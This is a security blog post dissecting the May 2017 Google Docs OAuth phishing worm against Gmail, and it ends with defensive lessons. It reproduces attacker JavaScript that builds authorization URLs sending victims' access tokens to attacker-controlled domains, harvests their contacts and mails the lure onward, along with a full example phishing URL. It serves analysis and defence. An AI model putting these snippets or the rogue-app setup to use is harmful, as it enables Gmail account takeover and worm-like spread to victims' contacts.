Gmail's Single Sign-On (SSO) phishing: Behind the scene tour

Earlier last month (May, 2017), a large-scale phishing attack was launched against Gmail. This attack was quickly fixed by Google - within 3 hours of the initial attack happening, however, not before it has affected roughly 0.1% of the Gmail users, which is roughly 1 million users according to multiple sources. There are already many reports of this attack, so I do not need to re-emphasize its scale. What I want to share instead, is some facts obtained by digging deeper, and potential approaches as to how we can stop these attacks from an outsider perspective (outsider as compared to Google).

In case you haven’t already ready about this attack, here’s how it went down:

(Credit to the Reddit post for the screenshot of the actual attack)

First, the victim receives an email from a friend (known in contact list), sharing a document with the victim.

Attack1

Upon clicking this button, victim is redirected to a Google URL which asks for permission.

Attack2

Unsuspected user click allow, and the attacker has succeeded in taking over the user’s Gmail account. From there, the attacker can send this spam to the victim’s friend, and the flood gate opens.

Why should I care? There are so many phishing emails out there every day!

This is indeed just another ‘please click on the link in the email’ spam. However, this particular Phishing attack does have quite some difference with your average password-Phishing or spam email sending malicious links.

1) This campaign does not require you to enter password/username to a login-looking website.
2) The URL which the phishing button points to, is indeed a legitimate* (legitimate in the sense that the URL’s hostname indeed belongs to google, but the redirect URL part does not, which is explained later) Google.com URL. It is not leveraging techniques such as typo-squatting or punycode to visually trick the victim.
3) The email is sent from your friend, not some random Prince from Nigeria. A.k.a., only a “Gmail worm” that takes full control of your email account can do this effectively.
4) After compromise, victim’s computer will not be encrypted by a ransomware or destroyed by malware. The only indicator of compromise will likely come from your friend – “hey, you got hacked again?” But the damage is profound. All your email communications are revealed to the attacker.

So how did the attacker achieve all these?

In short, it’s because the attack involved many rogue third-party applications that leverages Google Single Sign-On (SSO) API.
Let’s take a tour behind the scene and look at what actually happens (or is supposed to happen) for a successful attack to happen, from the attacker’s perspective

1) Attacker owns some rogue Google accounts. How and where the attacker gets these Google accounts is unimportant. Google does have many great mechanisms in place (captchas, phone verification) to prevent robots/attackers to register accounts automatically, but in this particular scenario, attacker don’t need many. Theoretically, one account is good enough.
2) Attacker registers many applications with Google using its OAuth 2.0 SSO API. This can be done at https://console.developers.google.com/cloud-resource-manager after any Gmail user logs in. Google does ask for a credit card, but it offers a 12-month free trial and the credit card won’t be charged before trial ends. Actually, I played around this console and found out that I don’t need a credit card to access the application creation page for contact API. Heck, I’m able to create two apps already with my Gmail account, with no credit cards.

Google App Accounts

3) After applications are created, the attackers will set up the redirectURI parameter in the configuration page shown as below. This redirectURI will be pointing to an attacker-controlled server.

authorizeURI

and for example, one of the attacker-controlled hostname in this attack is: hxxp://googledocs.docscloud.win

Here are some front-end JavaScript excerpts embedded in the attacker’s page:

1
2
3
4
5
6
var CLIENT_ID = '946634442539-bpj9bmemdvoedu8d3or6c69am3mi71dh.apps.googleusercontent.com';
var CLIENT_ID_2 = '623002641392-km6voeicvso16uuk7pvc8mvbqheobnft.apps.googleusercontent.com';
var SCOPES = ['https://mail.google.com/', 'https://www.googleapis.com/auth/contacts'];
var redirect_url = 'https://accounts.google.com/o/oauth2/auth?client_id=' + encodeURIComponent(CLIENT_ID) + '&scope=https%3A%2F%2Fmail.google.com%2F+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcontacts&immediate=false&include_granted_scopes=true&response_type=token&redirect_uri=' + encodeURIComponent('https://googledocs.gdocs.pro/g.php') + '&customparam=customparam';
var redirect_url_2 = 'https://accounts.google.com/o/oauth2/auth?client_id=' + encodeURIComponent(CLIENT_ID_2) + '&scope=https%3A%2F%2Fmail.google.com%2F+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcontacts&immediate=false&include_granted_scopes=true&response_type=token&redirect_uri=' + encodeURIComponent('https://googledocs.docscloud.win/g.php') + '&customparam=customparam';
var alert_url = 'http://googledocs.gdocs.pro/r.php?h=287fceafb813de281887692bf3f75532';

Snippet 1. Construct redirect URL and authorization URL

1
2
3
4
5
6
7
8
9
10
11
function listContacts() {

console.log(gapi.client.gmail);

var token = gapi.auth.getToken();
console.log(token);

$.ajax({
url: "https://www.google.com/m8/feeds/contacts/default/full?access_token=" + token.access_token + "&max-results=1000&orderby=lastmodified&sortorder=descending",
dataType: "jsonp",

Snippet 2. List contacts of victim

1
2
3
4
5
6
var sendRequest = gapi.client.gmail.users.messages.send({
'userId': 'me',
'resource': {
'raw': window.btoa(email).replace(/\+/g, '-').replace(/\//g, '_')
}
});

Snippet 3. Spreading to friends of victim by sending out emails

1
2
3
4
5
6
7
8
9
10
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

ga('create', 'UA-98290545-1', 'auto');
ga('send', 'pageview');

</script>

Snippet 4. And ironically, Google Analytics scripts just to learn the stats of victims.

5) So far the setup process has completed. Now onto the actual spamming.
6) I suspect the attacker started out blasting this phishing email to a seed list of victims and just like regular phishing, hoping the user to click the blue, Google-like button which points to the following URL (an example is shown):

https://accounts.google.com/o/oauth2/auth?
client_id=188775109388-t33r6vb45j8fgf8vpcp4q0e6qt2pe01n.apps.googleusercontent.com
&scope=https%3A%2F%2Fmail.google.com%2F+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcontacts&immediate=false
&include_granted_scopes=true&response_type=token
&redirect_uri=https%3A%2F%2Fgoogledocs.gdocs.win%2Fg.php&customparam=customparam

Let’s break this URL down: the blue portion belongs to Google, and is the entry point of all apps (legitimate or rogue) to initiate the Single Sign-On process. It just so happens to also act as a confidence booster for an above-average Joe that this is not a phishing email. (An average Joe would not even look at the URL before clicking.)

The orange part is attacker’s rogue app’s ID. The attacker may create many of these apps and the IDs would all be different. It simply needs to follow the above steps to create one. It is worth noting that swapping the client id would result in another app’s name shown in the permission requesting dialog. For example, the attacker may change this client-id to the real legitimate Google Doc’s app ID (and any given app’s ID is not a secret). However, the redirect URI (red portion) needs to be added to the real Google Doc’s configuration file and the attacker can’t do that (it’d be god awful if attacker can do this).

The redirect URI (red portion) is attacker controlled host. This is where the victim’s browser will forward the access_token retrieved from Google to. The access_token bears the permission requested (and in this case, the ability to compose emails and read contacts) and anyone in possession of this token can act on behalf of the victim any way they want.

7) Some users clicked on the button and attacker has successfully obtain his/her access token, as described in the back end code. The victim’s browser then unknowingly uses their access tokens to send to all their friends the same phishing email.

8) From here, the attack works like a self-spreading worm and the flood gates are opened.

Potential damage done

The damage done to victims is the loss of control to one’s Gmail account – and that includes reading and sending emails. The attacker may download all of victim’s emails at the instant he/she gets victim’s access token. For how long can the attacker send emails from the victims? We don’t know. Google disabled the attacker’s application, but we don’t know if this means all access tokens associated with the applications are voided at the same time.

Damage Mitigation

Normally, an access token has an expiration date. According to Google’s documentation, the token should expire if any of the following happens:
• The user has revoked access.
• The token has not been used for six months.
• The user changed passwords and the token contains Gmail scopes.
• The user account has exceeded a certain number of token requests.

None of these indicates a short timeout period for an access token. While I did not verify the default access token expiration duration, it certainly appears that if Google did not take quick action, this is going to get even uglier in a hurry. Thankfully, Google did a good job mitigating it but we are still left with 1-million-accounts-affected aftermath.

Many other news sources and blog posts have advised the user to revoke access to the attacker application. It is certainly a good advice, albeit I doubt if this is necessary now that Google has completely taken down the attacker’s application.

Lessons learned

The problem, in its essence, is a typical rogue SSO app phishing attack. Happens on Android, happens on web SSO scenario, happens all the time. When Angry Birds or Flappy Birds were popular, we probably have seen many versions of the similar app appearing in the app store, asking for various different permissions. When a Flappy Bird-like app asks for camera or SMS permission, that’s going to raise people’s suspicion, right? Same thing for your Facebook account. You click on a shared post and an FB app pops up asking for your contacts, email, and post permission, you normally won’t give it up (at least I won’t). The only difference here, is that for the above two examples, you sort of already knew you are walking into a shady corner. But for this Google Doc phishing case, since the email presented looks like Google-style (that’s easy to do with CSS or images), and the button’s URL is indeed from account.google.com (authorization requests from ANY app would look like this URL). Most importantly, it was sent from a friend’s Gmail address.

So did Google do something wrong? Yes and No. There are probably no functional bugs that were exploited in this attack. Google (rightfully) allows anybody to sign up a third-party SSO application, provides email/contact API, and allows the developer to specify redirect URL when forwarding the token. All these fall within the specifications of OAuth protocol. And when the attack happened, Google acted very quickly to shut down the app. An area that Google can improve upon, is to explicitly show the developer of a third-party application, and put some sort of ‘trusted’ icon if it comes from Google or a trusted source. A change to the Authorization UI may be able to help:

googleadvice

Can we do anything to prevent this attack as an outsider?

Dangerous application permissions like reading and sending emails are incredibly powerful and few legitimate apps should be asking for them. If one can iterate through popular Google SSO applications and obtain such a list, random rogue applications asking for these permissions can be filtered out in the future by the known whitelist. Assuming the legitimate application list doesn’t change often, this can be used as a preventive measurement to shut down attacks before they happen.